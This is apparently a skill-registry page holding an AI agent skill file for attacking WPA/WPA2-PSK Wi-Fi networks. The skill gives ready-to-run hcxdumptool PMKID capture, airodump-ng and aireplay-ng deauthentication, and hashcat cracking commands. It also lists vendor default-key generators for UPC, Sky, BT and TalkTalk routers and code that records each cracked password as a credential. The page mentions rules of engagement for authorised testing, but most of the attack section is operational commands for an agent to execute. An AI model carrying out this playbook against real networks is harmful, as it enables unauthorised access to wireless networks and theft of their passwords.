WPA/WPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer/SMB encryption mode in 2026.
64
76%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/wireless/wpa2-psk/SKILL.mdCapture once, crack offline. Two acquisition paths: four-way handshake (needs a client; needs deauth on
stealth-incompatible postures) or PMKID (no client / deauth needed; works against most modern APs).
airmon-ng start <iface>.aircrack-ng suite, hcxdumptool,
hcxpcapngtool, hashcat. All in the standard Kali image; on
the dropbox mode confirm with which hcxdumptool.# 1. Channel-hop and capture PMKIDs from any AP that responds.
sudo hcxdumptool -i <mon-iface> --enable_status=1 -w /tmp/pmkid.pcapng \
--filterlist_ap=<bssid_list.txt> --filtermode=2
# 2. Wait ~60-120s. Stop with Ctrl+C.
# 3. Extract hashes in hashcat 22000 format.
hcxpcapngtool -o /tmp/pmkid.hc22000 /tmp/pmkid.pcapng
# 4. Crack offline. rockyou.txt is the baseline; vendor PSK gen
# (UPC, Sky, BT) for vendor-default networks.
hashcat -m 22000 /tmp/pmkid.hc22000 /usr/share/wordlists/rockyou.txtIf PMKID is empty: the target's WPA implementation may have PMKID disabled (Wi-Fi 6 + WPA3 require). Fall back to Path B.
# 1. Start the capture.
sudo airodump-ng --bssid <BSSID> -c <CHANNEL> -w /tmp/cap <mon-iface>
# 2. In a separate session, send a SINGLE targeted deauth to a
# connected client (NOT broadcast - broadcast deauth is loud
# and only legal on the engagement's `permitted_actions`).
sudo aireplay-ng --deauth 1 -a <BSSID> -c <CLIENT_MAC> <mon-iface>
# 3. Confirm WPA handshake in airodump's header line.
# 4. Stop, convert, crack.
hcxpcapngtool -o /tmp/handshake.hc22000 /tmp/cap-01.cap
hashcat -m 22000 /tmp/handshake.hc22000 /usr/share/wordlists/rockyou.txtSome ISPs ship APs with a deterministic PSK derived from the BSSID or SSID. Try the matching generator BEFORE rockyou:
| Vendor | Pattern | Generator |
|---|---|---|
| UPC | UPCxxxxxxxx SSID | upc-keys / upc-wifi |
| Sky | Skyxxxxx | sky-keys / SkyChecker |
| BT | BTHub5-xxxx | bt-default-keygen |
| TalkTalk | TalkTalkxxxxxx | talktalk-keygen |
If the SSID matches a known vendor default pattern, the PSK is in the top 100k attempts of the matching generator. Skip rockyou.
Persist the captured handshake / PMKID to
/workspace/evidence/wireless/<bssid>.hc22000. On crack success,
add a Credential node:
kg_add_node(
kind="credential",
label=f"WiFi PSK for {ssid}",
props={
"key": f"wifi-psk::{bssid}",
"secret_type": "wpa_psk",
"ssid": ssid,
"bssid": bssid,
"psk": psk,
"cracked_at": "<iso8601>",
"vendor_default_generator": "<generator-or-null>",
"source": "hcxdumptool+hashcat-22000",
},
)Two-method evidence:
hashcat --show line proving the PSK matches the hash.If both don't exist, the finding is "captured, not cracked" and the deliverable distinguishes them.
--deauth 1 is much quieter than broadcast deauth
(--deauth 0 aka unlimited deauth all clients). The engagement
RoE's deauth permission should distinguish.references/vendor-generators.md — vendor PSK generator install +
usage, where to source the rainbow tables.references/wpa3-transition-mode-notes.md — when the target is
WPA3-Personal in transition mode, try wpa3-sae skill instead.0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.